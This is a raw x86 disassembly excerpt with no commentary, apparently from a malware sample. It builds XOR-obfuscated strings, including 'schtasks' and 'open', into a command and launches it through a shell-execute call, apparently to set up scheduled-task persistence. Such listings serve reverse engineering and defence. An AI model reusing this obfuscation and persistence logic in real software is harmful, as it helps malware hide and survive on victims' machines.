mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1c4], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0xc8]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x1d8]
call fcn.0138e6a0
mov edx, eax
mov ecx, dword [edx + 4]
mov eax, dword [edx + 0x10]
mov ebx, dword [edx]
mov dword [ebp - 0xc0], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0xbc], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebp - 0xb4], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0xc4], ebx
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xb0], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x1c4]
cmp ecx, 0x10
jb 0x133c946
mov edx, dword [ebp - 0x1d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133c93c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c3
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x133c99f
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133c995
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c3
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x1dc]
cmp ecx, 0x10
jb 0x133c9f8
mov edx, dword [ebp - 0x1f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133c9ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c3
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x14c]
cmp ecx, 0x10
jb 0x133ca51
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133ca47
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c3
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x133caaa
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133caa0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c3
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x17c]
cmp ecx, 0x10
jb 0x133cb03
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133caf9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c3
push ecx
push edx
call fcn.01403731
add esp, 8
cmp dword [ebp - 0x14], 0x10
lea esi, [ebp - 0xc4]
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
jb 0x133cb2c
mov esi, ebx
sub esp, 0x18
mov ecx, esi
mov edx, esp
xor eax, eax
lea ebx, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133cb50
sub ecx, ebx
push ecx
push esi
mov ecx, edx
call fcn.013282e0
xor cl, cl
call fcn.0133b2f0
add esp, 0x18
mov dword [ebp - 0x7e], 0xc0a6acff
mov dword [ebp - 0x7a], 0x8596cbc3
xor ecx, ecx
mov dword [ebp - 0x76], 0xa6a7a7c7
mov dword [ebp - 0x72], 0xa0a2aba4
mov dword [ebp - 0x6e], 0x9e83dfcf
mov dword [ebp - 0x6a], 0xb1bcbcd3
mov dword [ebp - 0x66], 0xaeaabdbf
mov word [ebp - 0x62], 0x100
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x7e], al
inc ecx
cmp ecx, 0x1c
jb 0x133cba5
mov byte [ebp - 0x61], 0
xor ecx, ecx
mov dword [ebp - 0x2e], 0x96cec0fd
mov dword [ebp - 0x2a], 0xc7c48d
mov byte [ebp - 0x26], 1
jmp 0x133cbd0
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 7
jb 0x133cbd0
mov byte [ebp - 0x26], 0
xor ecx, ecx
mov dword [ebp - 0x1d], 0x96cec0fd
mov dword [ebp - 0x19], 0xc7c491
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 7
jb 0x133cbf6
xor eax, eax
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133cc37
sub ecx, edx
lea eax, [ebp - 0x370]
push ecx
push eax
lea ecx, [ebp - 0x178]
call fcn.013282e0
mov byte [ebp - 4], 0x1e
xor ecx, ecx
mov dword [ebp - 0xe4], 0x968983ac
mov dword [ebp - 0xe0], 0x958e9782
mov dword [ebp - 0xdc], 0x988ac7c7
mov dword [ebp - 0xd8], 0x8b998d8e
mov dword [ebp - 0xd4], 0xd297dfcf
mov dword [ebp - 0xd0], 0xd6a0a6dc
mov word [ebp - 0xcc], 0xd5
mov byte [ebp - 0xca], 1
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0xe4], al
inc ecx
cmp ecx, 0x19
jb 0x133cca5
lea eax, [ebp - 0x178]
mov byte [ebp - 0xca], 0
push eax
lea edx, [ebp - 0xe4]
lea ecx, [ebp - 0x100]
call fcn.01392660
add esp, 4
lea ecx, [ebp - 0x1d]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.0138e6a0
mov edx, eax
xor eax, eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x60], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x5c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x58], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x54], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x50], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x4c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0x10
mov ebx, dword [ebp - 0x120]
jb 0x133cd50
mov edx, dword [ebp - 0x130]
mov esi, dword [ebp - 0x4c]
mov eax, esi
mov ecx, dword [ebp - 0x50]
sub eax, ecx
cmp ebx, eax
ja 0x133cd86
lea eax, [ecx + ebx]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x60]
cmp esi, 0x10
jb 0x133cd6f
mov eax, dword [ebp - 0x60]
push ebx
lea esi, [eax + ecx]
push edx
push esi
call fcn.01405190
add esp, 0xc
mov byte [ebx + esi], 0
lea ecx, [ebp - 0x60]
jmp 0x133cd9a
push ebx
push edx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x60]
push dword [ebp - 0x14]
push ebx
call fcn.013947f0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], eax
mov eax, dword [ecx]
mov dword [ebp - 0x118], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x114], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x110], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x10c], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x108], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x104], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x2e]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x118]
call fcn.0138e6a0
mov edx, eax
xor eax, eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov ecx, dword [edx]
mov dword [ebp - 0xa8], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0xa4], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0xa0], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x9c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x98], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x94], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1a8]
cmp dword [ebp - 0x194], 0x10
jb 0x133cea0
mov ecx, dword [ebp - 0x1a8]
mov edx, dword [ebp - 0x94]
mov eax, edx
mov esi, dword [ebp - 0x98]
sub eax, esi
cmp edi, eax
ja 0x133ceeb
lea eax, [edi + esi]
mov dword [ebp - 0x98], eax
lea ebx, [ebp - 0xa8]
cmp edx, 0x10
jb 0x133cece
mov ebx, dword [ebp - 0xa8]
push edi
lea eax, [ebx + esi]
push ecx
push eax
call fcn.01405190
lea eax, [edi + ebx]
add esp, 0xc
mov byte [eax + esi], 0
lea ecx, [ebp - 0xa8]
jmp 0x133cf02
push edi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xa8]
push dword [ebp - 0x14]
push edi
call fcn.013947f0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], eax
mov eax, dword [ecx]
mov dword [ebp - 0x208], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x204], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x200], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1f4], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x7e]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x208]
call fcn.0138e6a0
mov edx, eax
mov ecx, dword [edx + 4]
mov edi, dword [edx]
mov eax, dword [edx + 0x10]
mov ebx, dword [edx + 0x14]
mov dword [ebp - 0x18c], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x188], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebp - 0x190], edi
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ebx
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 0x10
jb 0x133d007
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133cffd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c8
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x133d060
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d056
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c8
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0xf
mov byte [ebp - 0xa8], 0
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x133d0b9
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d0af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c8
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x133d10c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d102
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c8
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0xec]
cmp ecx, 0x10
jb 0x133d15c
mov edx, dword [ebp - 0x100]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d152
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c8
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0xf
mov byte [ebp - 0x100], 0
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x133d1b5
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d1ab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4c8
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x168], 0
lea esi, [ebp - 0x190]
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
cmp ebx, 0x10
jb 0x133d1dd
mov esi, edi
sub esp, 0x18
mov ecx, esi
mov edx, esp
xor eax, eax
lea edi, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x133d200
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.013282e0
xor cl, cl
call fcn.0133b2f0
mov byte [ebp - 4], 0x1d
add esp, 0x18
mov ecx, dword [ebp - 0x17c]
cmp ecx, 0x10
jb 0x133d25a
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d250
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4cd
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0x10
jb 0x133d298
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d28e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4cd
push ecx
push edx
call fcn.01403731
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0138e990
call fcn.0132fd60
add esp, 0x18
test al, al
je 0x133d305
cmp dword [ebp - 0x11c], 0x10
lea edx, [ebp - 0x130]
jb 0x133d2ca
mov edx, dword [ebp - 0x130]
mov dword [ebp - 0x2b], 0x8c8490b0
xor ecx, ecx
mov word [ebp - 0x27], 0x100
lea esp, [esp]
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 4
jb 0x133d2e0
push 1
push 0
push 0
push edx
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x26], 0
push eax
push 0
call 0x15d55b8
ret
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x133d33f
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d335
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4d2
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x133d373
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d369
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4d7
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp - 0x20c]
cmp ecx, 0x10
jb 0x133d3ad
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d3a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4dc
push ecx
push edx
call fcn.01403731
add esp, 8
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
cmp eax, 0x10
jb 0x133d404
mov edx, dword [ebp - 0x1a8]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x133d3fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4dc
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp - 0x254]
cmp ecx, 0x10
jb 0x133d43e
mov edx, dword [ebp - 0x268]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d434
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4dc
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp - 0x224]
cmp ecx, 0x10
jb 0x133d474
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x133d46a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x133d4dc
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.01327a70
call fcn.01327a70
call fcn.01327a70
push eax
call fcn.014026db
call fcn.01327a70
call fcn.014089d0
call fcn.014089d0
call fcn.014089d0
push eax
call fcn.014026db
call fcn.014089d0
call fcn.01327a70
call fcn.014089d0
call fcn.014089d0
call fcn.014089d0
call fcn.014089d0
call fcn.014089d0
call fcn.014089d0
call fcn.014089d0
int3